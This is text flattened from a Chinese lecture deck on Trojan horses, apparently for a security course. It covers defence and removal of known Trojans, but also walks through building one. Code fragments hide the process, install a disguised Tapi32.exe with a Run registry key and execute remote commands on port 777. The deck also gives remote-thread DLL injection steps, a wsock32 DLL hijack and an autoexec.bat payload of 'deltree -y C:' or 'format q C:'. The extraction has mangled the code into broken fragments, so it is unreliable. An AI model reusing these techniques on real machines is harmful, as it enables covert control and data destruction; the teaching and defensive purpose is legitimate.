《特洛伊木马》PPT课件.ppt
一种特殊的病毒特洛伊木马(Trojan horse),特洛伊木马电影图片,本章的学习目标,掌握特洛伊木马的概念了解木马技术的发展趋势掌握木马开发实例理解木马的关键技术掌握木马攻击的方法掌握木马防范方法,章节主要内容,1 木马的概述2 木马程序的开发实例3 木马程序的关键技术4 木马攻击的清除及其相关经验5 木马检测及清除代码,特洛伊木马(Trojan Horse)是一种与远程计算机之间建立起连接,使远程计算机能够通过网络控制用户计算机系统并且可能造成用户的信息损失、系统损坏甚至瘫痪的程序。木马的组成硬件:控制端、服务端、Internet软件:控制端程序、木马程序、木马配置程序连接:控制、服务端IP,控制、服务端Port,流行木马的基本特征,1、隐蔽性是其首要的特征木马和远程控制软件的最主要区别不产生图标不出现在任务管理器中。2、它具有自动运行性启动文件、启动组、注册表,3、木马程序具有欺骗性名字方式:字母“l”与数字“1”、字母“o”与数字“0”相同文件名但不同路径常用图标:Zip4、具备自动恢复功能(高级技术)5、能自动打开特别的端口6、功能的特殊性搜索缓存中的口令、设置口令、扫描目标机器的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能7、黑客组织趋于公开化,木马的分类,1、远程控制型木马BO和冰河2、发送密码型木马3、键盘纪录型木马4、破坏型木马5、FTP型木马,远程控制、木马与病毒,木马和控制软件目的不同有些木马具有控制软件的所有功能是否隐藏木马和普通病毒传播性(木马不如病毒)两者相互融合木马程序YAI采用了病毒技术“红色代码”病毒已经具有木马的远程控制功能,木马的发展方向,1、跨平台性2、模块化设计3、更新更强的感染模式4、即时通知5、更强更多的功能,2 木马程序的开发实例,编程语言选择以CSocket为基类生成CMySocket类。CMySocket类的功能是用来使本程序变成一个服务器程序。,自动隐藏,/Win9x隐藏技术DWORD dwVersion=GetVersion();/得到操作系统的版本号if(dwVersion=0 x80000000)/操作系统是Win9x,不是WinNttypedef DWORD(CALLBACK*LPREGISTERSERVICEPROCESS)(DWORD,DWORD);/定义RegisterServiceProcess()函数的原型HINSTANCE hDLL;LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;hDLL=LoadLibrary(KERNEL32.dll);/加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLLlpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,RegisterServiceProcess);/得到RegisterServiceProcess()函数的地址lpRegisterServiceProcess(GetCurrentProcessId(),1);/执行RegisterServiceProcess()函数,隐藏本进程FreeLibrary(hDLL);/卸载动态链接库,用RegisterServiceProcess函数实现后台服务进程。未公开核心函数Win NT 2K下怎么实现?,自动加载,木马的第一次执行如何实现第一次以后的自动加载?注册表代码功能:HKLMSoftwareMicrosoftWindowsCurrentVersionRun%System%Tapi32,CopyFile(commandline,SystemPath+Tapi32.exe,FALSE);/将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来registry-Open(HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersionRun);registry-QueryValue(TempPath,crossbow,Server端功能命令接收,接下来就是启动Server端的Socket来接收客户端的命令。Port 777核心代码:pSocket-Receive(lpBuf,1000);/接收客户端数据if(strnicmp(lpBuf,CMD:,4)=0)ExecuteCommand(lpBuf,FALSE);/执行远端应用程序else if(strnicmp(lpBuf,!SHUT,5)=0)SendText(Exit program!,pSocket);OnExit();/退出木马程序,将要实现的功能:,Server端功能修改配置,Autoexec.bat和Config.sys代码:_chmod(c:autoexec.bat,S_IREAD|S_IWRITE);_chmod(c:config.sys,S_IREAD|S_IWRITE);fwrite(content,sizeof(char),strlen(content),fp);/写入添加的语句,例如deltree-y C:或者format q C:,Server端功能实现list命令,CFileFind finder;BOOL bWorking=finder.FindFile(*.*);while(bWorking)/循环得到下一层文件或目录bWorking=finder.FindNextFile();if(finder.IsDots()|finder.IsDirectory()strResult=Dire:;elsestrResult=File:;strResult+=finder.GetFileName();strResult+=n;SendText(strResult,pSocket);/返回Return_Text变量的内容,Server端功能实现View命令,int Read_Num=fread(temp_content,1,300,fp);/从目标文件中读入前300个字符while(Read_Num=300)strResult+=(CString)temp_content;/strResult的内容加上刚才的字符for(int i=0;i300;i+)temp_contenti=0;Read_Num=fread(temp_content,1,300,fp);/重复;,Server端功能操作硬件,mciSendString(“set cdaudio door open”,NULL,0,NULL);/弹出光驱的托盘mciSendString(Set cdaudio door closed wait,NULL,0,NULL);/收入光驱的托盘,Server端功能远程reboot,/Win9x重启ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);/操作系统是WinNtOpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,Client端功能,客户端的任务仅仅是发送命令和接收反馈信息而以。首先,在Visual Studio环境下新建一个基于Dialog的应用程序;接着,在这个窗体上放置一些控件。这些控件用于输入IP,Port,命令以及执行某些动作。最后,添加CCommandSocket类(其基类是CSocket类)到当前工程,该类用于和Server端通讯。,发送命令的代码如下:m_ptrComSocket-Send(void*)m_msg,m_msg.GetLength();从服务器端获取反馈信息ReceiveResult(m_msg);断开Socket通讯的代码如下:m_ptrComSocket-Close();代码及演示,下列问题就值得仔细考虑:首先是程序的大小问题;还有启动方式的选择;木马的功能还可以大大扩充;杀掉防火墙和杀毒软件;针对来自反汇编工具的威胁;自动卸载等。,3 木马程序的关键技术,木马程序技术发展的4个阶段:第一阶段主要实现简单的密码窃取、发送等功能,没有什么特别之处。第二阶段在技术上有了很大的进步,主要体现在隐藏、控制等方面。国内冰河可以说是这个阶段的典型代表之一。第三阶段在数据传递技术上做了不小的改进,出现了基于ICMP协议的木马,这种木马利用ICMP协议的畸形报文传递数据,增加了查杀的难度。第四阶段在进程隐藏方面做了非常大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术嵌入DLL线程,或者挂接PSAPI实现木马程序的隐藏。即使在Windows NT/2K下,这些技术都达到了良好的隐藏效果。相信,第五代木马的技术更加先进。,Socket技术,重要的系统文件,win.ini文件中的启动加载项:windwos段中有如下加载项:run=Load=system.ini中的启动加载项:在BOOT子项中的“Shell”项:shell=,修改注册表,HKEY_CLASSES_ROOT:此处存储的信息可以确保当使用Windows资源管理器打开文件时,将使用正确的应用程序打开对应的文件类型。HKEY_CURRENT_USER:存放当前登录用户的有关信息。用户文件夹、屏幕颜色和“控制面板”设置存储在此处。该信息被称为用户配置文件。HKEY_LOCAL_MACHINE:包含针对该计算机(对于任何用户)的配置信息。HKEY_USERS:存放计算机上所有用户的配置文件。HKEY_CURRENT_CONFIG:包含本地计算机在系统启动时所用的硬件配置文件信息。HKEY_DYN_DATA:记录系统运行时刻的状态。,(Run),(RunOnce),(RunOnceEx),(RunServices),(RunServicesOnce)20多个API函数,修改文件关联,当你打开了一个已修改了打开关联的文件时,木马也就开始了它的运作。选择文件格式中的“打开”、“编辑”、“打印”项目。例如冰河木马病毒HKEY_CLASSES_ROOTtxtfileshellopencommand中的键值“c:windowsnotepad.exe%1”,改为“sysexplr.exe%1”。,远程屏幕抓取,如果键盘和鼠标事件记录不能满意时,需要抓取被控制端屏幕,形成一个位图文件,然后把该文件发送到控制端计算机显示出来。,输入设备控制,通过网络控制目标机的鼠标和键盘,以达到模拟鼠标和键盘的功能。使用技术:Keybd_event,mouse_event/模拟A键按键过程keybd_event(65,0,0,0);keybd_event(65,0,KEYEVENTF_KEYUP,0);,/模拟按下左键GetCursorPos(,远程文件管理,操作目标机文件的方式通常有两种:一种是共享目标机的硬盘,进行任意的文件操作;另一种是把自己的计算机配置为FTP(File Transfer Protocol,文件传输协议)服务器。使用函数CInternetSessionGetFtpConnectionGetFilePutFile,共享硬盘数据,Windows 2000/NT/XP:HKEY_LOCAL_MACHINESYSTEMControlSet001ServiceslanmanserverSharesWindows 9x:HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManFlags/类型Path/目录Remark/备注TypeParm1encParm2enc,隐藏技术反弹式木马技术,定义:利用防火墙对内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取得对外的端口,再通过某些方式连接到木马的客户端,从而窃取用户计算机的资料同时遥控计算机本身。,反弹式木马访问客户端的80端口,防火墙无法限制。例如,“网络神偷”防范:使用个人防火墙,其采用独特的“内墙”方式应用程序访问网络规则。,隐藏技术用ICMP方法隐藏连接,TCP UDP木马的弱点:等待和运行的过程中,始终有一个和外界联系的端口打开着。原理:由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会。木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程。一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。即使防火墙过滤ICMP报文,一般也不过率ICMP_ECHOREPLY包,否则就不能进行Ping操作了。因此,具有对于防火墙和网关的穿透能力。,隐藏技术隐藏端口,为了隐藏端口,采用两种思路:寄生和潜伏寄生就是找一个已经打开的端口,寄生其上,平时只是监听,遇到特殊的指令就进行解释执行。潜伏是说使用IP协议族中的其它协议而不是TCP或UDP来进行通讯,从而瞒过Netstat和端口扫描软件。一种比较常见的潜伏手段是使用ICMP协议。其他方法:对网卡或Modem进行底层的编程。,隐藏技术NT进程的隐藏,进程 和 端口 联系在一起的方法很常见。因此,需要隐藏进程来达到隐藏木马的目的。实现进程隐藏有两种思路:第一是让系统管理员看不见(或者视而不见)你的进程;第二是不使用进程。,能否使用第一种方式?在Windows中有多种方法能够看到进程的存在:PSAPI(Process Status API);PDH(Performance Data Helper);ToolHelp API。如果我们能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的API调用,替换返回的数据),我们就完全能实现进程隐藏。但是存在两个难题:一来我们并不知道用户和入侵软件使用的是什么方法来查看进程列表;二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其它的方法更容易的实现进程的隐藏。,使用第二种方式最流行。DLL是Windows系统的另一种“可执行文件”。DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.exe,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员而为所欲为。,用DLL实现木马功能,用DLL实现木马功能,然后,用其他程序启动该DLL.有三种方式:最简单的方式RUNDLL32特洛伊DLL线程插入技术,最简单的方式RUNDLL32Rundll32 DllFileName FuncNameRundll32.exe MyDll.dll MyFunc程序演示(参见:.othercodetestdll),比较高级的方式特洛伊DLL 特洛伊DLL(欺骗DLL)的工作原理是使用欺骗DLL替换常用的DLL文件,通过函数转发器将正常的调用转发给原DLL,截获并处理特定的消息。函数转发器forward的认识。Visual Studio 7命令提示符dumpBin-Exports c:windowssystem32Kernel32.dll|more演示程序实现/Function forwarders to functions in DllWork#pragma comment(linker,/export:ForwardFunc=Kernel32.HeapCreate)演示(参见:.othercodetestdll源代码),实现描述我们知道WINDOWS的Socket1.x的函数都是存放在wsock32.dll中的,那么我们自己写一个wsock32.dll文件,替换掉原先的wsock32.dll(将原先的DLL文件重命名为wsockold.dll)我们的wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给wsockold.dll(使用函数转发器forward);二是遇到特殊的请求(事先约定的)就解码并处理。,特洛伊DLL的弱点:system32目录下有一个dllcache的目录,这个目录中存放着大量的DLL文件,一旦操作系统发现被保护的DLL文件被篡改(数字签名技术),它就会自动从dllcache中恢复这个文件。有些方法可以绕过dllcache的保护:先更改dllcache目录中的备份再修改DLL文件利用KnownDLLs键值更改DLL的默认启动路径等同时特洛伊DLL方法本身也有一些漏洞(例如修复安装、安装补丁、升级系统、检查数字签名等方法都有可能导致特洛伊DLL失效),所以这个方法也不能算是DLL木马的最优选择。,最高级方式动态嵌入技术DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。多种嵌入方式:窗口Hook、挂接API、远程线程。,隐藏技术远程线程技术,远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。通过CreateRemoteThread也同样可以在另一个进程内创建新线程,新线程同样可以共享远程进程的地址空间。,HANDLE CreateRemoteThread(HANDLE hProcess,PSECURITY_ATTRIBUTES psa,DWORD dwStackSize,PTHREAD_START_ROUTINE pfnStartAddr,PVOID pvParam,DWORD fdwCreate,PDWORD pdwThreadId);,一个地址,DWORD WINAPI ThreadFunc(PVOID pvParam);HINSTANCE LoadLibrary(PCTSTR pszLibFile);两个函数非常类似,需解决的问题:第一个问题,获取LoadLibrary的实际地址。PTHREAD_START_ROUTINE pfnThreadRtn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(Kernel32),LoadLibraryA);第二个问题,把D L L路径名字符串放入宿主进程。使用:VirtualAllocEx,VirtualFreeEx,ReadProcessMemory,WriteProcessMemory 等函数。,操作步骤做一个归纳:1)使用Vi r t u a l A l l o c E x函数,分配远程进程的地址空间中的内存。2)使用Wr i t e P r o c e s s M e m o r y函数,将D L L的路径名拷贝到第一个步骤中已经分配的内存中。3)使用G e t P r o c A d d r e s s函数,获取L o a d L i b r a r y A或L o a d L i b r a t y W函数的实地址(在K e r n e l 3 2.d l l中)。4)使用C r e a t e R e m o t e T h r e a d函数,在远程进程中创建一个线程,它调用正确的L o a d L i b r a r y函数,为它传递第一个步骤中分配的内存的地址。,5)使用Vi r t u a l F r e e E x函数,释放第一个步骤中分配的内存。6)使用G e t P r o c A d d r e s s函数,获得F r e e L i b r a r y函数的实地址(在K e r n e l 3 2.d l l中)。7)使用C r e a t e R e m o t e T h r e a d函数,在远程进程中创建一个线程,它调用F r e e L i b r a r y函数,传递远程D L L的H I N S TA N C E。看代码及演示(参见:.othercodeinjlib 和 Imgwalk),服务器端程序的包装与加密,一个试验:text.txt,其内容为“This is for test!”C:type text.txtTest.exe运行Test.exe演示(参见:.othercoebindexe)木马会把一些配置信息放在exe文件的最后。例如,冰河木马,4 木马攻击的方法及相关经验,1 木马病毒的常用骗术 2 全面防治木马病毒 3 几种常见木马病毒的杀除方法 4 已知木马病毒的端口列表,木马病毒的常用骗术,1.修改批处理Autoexec.bat(自动批处理,在引导系统时执行)Winstart.bat(在启动GUI图形界面环境时执行)Dosstart.bat(在进入MS-DOS方式时执行)2.修改系统配置System.iniWin.ini,3.借助自动运行功能根目录下新建一个Autorun.inf autorunopen=Notepad.exe 4.通过注册表中的Run来启动5.通过文件关联启动6.通过API HOOK启动利用经常使用的API启动木马,7.通过VXD启动写成Vxd并写入HKEY_ LOCAL_MACHINESystemCurrentControlSetServicesVxD8.通过浏览网页启动利用MIME的漏洞。9.利用Java applet10.利用系统自动运行的程序例如,ScanDisk等程序,在一定情况下,系统会自动启动它们。,全面防治木马病毒,1 木马中毒现象2 发现和杀除木马的方法进程/内存模块查看器在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。http:/端口扫描(端口进程关联软件)关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:http:/=FPortNG.zip嗅探器嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。代码及头文件:http:/编译后的程序:http:/,检查及保护注册表http:/查找文件http:/杀病毒软件系统文件检查器,3 木马的预防措施1.永远不要执行任何来历不明的软件或程序2.永远不要相信你的邮箱不会收到垃圾和病毒3.永远不要因为对方是你的好朋友就轻易执行他发过来的软件或程序。4.千万不要随便留下你的个人资料。5.千万不要轻易相信网络上认识的新朋友。6.永远不要随便说别人的坏话,防止别人用木马报复你。,几种常见木马病毒的杀除方法,一、BO2000查看注册表HEKY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicse中是否存在Umgr32.exe的键值。有则将其删除。重新启动电脑,并将WindowsSystem中的Umgr32.exe删除。,二、NetSpy(网络精灵)国产木马,默认连接端口为7306。在该版本中新添加了注册表编辑功能和浏览器监控功能,客户端现在可以不用NetMonitor,通过IE或Navigate就可以进行远程监控了。其强大之处丝毫不逊色于冰河和BO2000!服务端程序被执行后,会在C:Windowssystem目录下生成netspy.exe文件。同时在注册表HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowsCurrentVersionRun下建立键值C:windowssystemnetspy.exe,用于在系统启动时自动加载运行。清除方法:1.进入dos,在C:windowssystem目录下输入以下命令:del netspy.exe 回车;2.进入注册表HKEY_LOCAL_MACHINESoftwaremicrosoftwindowsCurrentVersionRun,删除Netspy.exe和Spynotify.exe的键值即可安全清除Netspy。,三、Happy99此程序运行时,会在打开一个名为“Happy new year 1999”的窗口,并出现美丽的烟花,它会复制到Windows主文件夹的System目录下并更名为Ska.exe,同时创建文件Ska.dll,修改Wsock32.dll,将修改前的文件备份为Wsock32.ska,并修改注册表。另外,用户可以检查注册HEKY_LOCAL_MACHINESoftwreMicrosoftWindowsCurrentVersionRunOnce中有无键值Ska.exe。有则将其删除,并删除WindowsSystem中的Ska.exe和Ska.dll两个文件,将Wsock32.ska更名为Wscok32.dll。,四、冰河冰河标准版的服务器端程序为G-server.exe,客户端程序为G-client.exe,默认连接端口为7626。一旦运行G-server,那么该程序就会在C:Windowssystem目录下生成Kernel32.exe和sysexplr.exe并删除自身。Kernel32.exe在系统启动时自动加载运行,sysexplr.exe和TXT文件关联。即使你删除了Kernel32.exe,但只要你打开TXT文件,sysexplr.exe就会被激活,它将再次生成Kernel32.exe,于是冰河又回来了!这就是冰河屡删不止的原因。清除方法:用纯DOS启动进入系统(以防木马的自动恢复),删除你安装的windows下的systemkernel32.exe和systemsysexplr.exe两个木马文件,注意如果系统提示你不能删除它们,则因为木马程序自动设置了这两个文件的属性,我们只需要先改掉它们的隐藏、只读属性,就可以删除。删除后,进入windows系统进入注册表中,找到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices两项,然后查找kernel32.exe和sysexplr.exe两个键值并删除。再找到HKEY_CLASSES_ROOTtxtfileopencommand,看在键值中是不是已改为“sysexplr.exe%1”,如是改回“notepad.exe%1”。,五、Nethief(网络神偷)这是反弹端口型木马的典型代表。大多数的防火墙对于由外面连入本机的连接往往会进行非常严格的过滤,但是对于由本机连出的连接却疏于防范(当然也有的防火墙两方面都很严格)。于是,与一般的木马相反,反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口,当要建立连接时,由客户端通过FTP主页空间告诉服务端:“现在开始连接我吧!”,并进入监听状态,服务端收到通知后,就会开始连接客户端。为了隐蔽起见,客户端的监听端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似“TCP服务端的IP地址:1026客户端的IP地址:80 ESTABLISHED”的情况,稍微疏忽一点你就会以为是自己在浏览网页。防火墙也会如此认为,大概没有哪个防火墙会不给用户向外连接80端口吧。清除方法:1.网络神偷会在注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下建立键值“internet”,其值为internet.exe/s,将键值删除;2.删除其自启动程序C:WINDOWSSYSTEMINTERNET.EXE。,已知木马病毒的端口列表,木马检测及清除实验,示例程序利用开放主机端口号和各个木马程序使用端口的对应关系,判断主机是否已中木马,中了何种木马(目前能查找一百余种),并能根据所中木马的类型,对其中的二十几种进行杀灭。此外,用户可自行追加数据库,增加能查找病毒的种类。,关键数据结构,本程序的数据文件Trojan.txt使用了TROJAN结构来保存木马的名称,对应打开端口号和查杀代码,木马名称木马使用特征端口号查杀号,在Trojan.txt中,每行为一个木马项,格式为,使用系统调用查看有那些端口开放:netstat-a c:log.txt返回格式Proto Local Address Foreign Address State TCP truewar:epmap 0.0.0.0:0 LISTENING TCP truewar:1025 0.0.0.0:0 LISTENING TCP truewar:1028 0.0.0.0:0 LISTENING TCP truewar:5000 0.0.0.0:0 LISTENING UDP truewar:isakmp*:*UDP truewar:1900*:*该方法存在问题:无法应对隐藏端口,消除木马进程的步骤,第一步:提升权限提升本程序权限得目的是,使其能够杀除木马进程,主要是通过AdjustTokenPrivileges函数来完成。,BOOL AdjustTokenPrivileges(HANDLE TokenHandle,/用于修改权限的句炳 BOOL DisableAllPrivileges,/修改方式 PTOKEN_PRIVILEGES NewState,/修改后的值 DWORD BufferLength,/修改值的长度 PTOKEN_PRIVILEGES PreviousState,/修改前状态 PDWORD ReturnLength/返回长度);,第二步:枚举进程,获得木马进程的进程号码。首先通过EnumProcesses函数来枚举系统中所有运行的进程。当获得所有进程的进程号以后,枚举每一个进程所包含的模块,这里使用EnumProcessModules函数:通过返回的模块信息,我们可以利用GetModuleFileNameEx来取得此模块调用文件的文件名。,第三步:终止木马进程。如果取得文件名和木马的名称一样,则调用TerminateProcess函数终止木马进程。,第四步:清除木马文件。在终止木马的进程以后,就可以删除木马文件,删除注册表项和删除文件中的自启动项的操作了,其中涉及到几个注册表操作函数。RegOpenKeyEx:用来打开注册表项RegQueryValueEx:用来查询特定注册表项中的键值RegDeleteValue:当我们查找到的键名和其含有的键值与木马添加的内容一致时,就可以调用该函数删除此键对于木马文件,调用DeleteFile函数来删除。,代码(VC)及程序演示,谢谢Q&A,论文题目:“浅谈XX病毒及其防治技术”论文必须在5月11日交,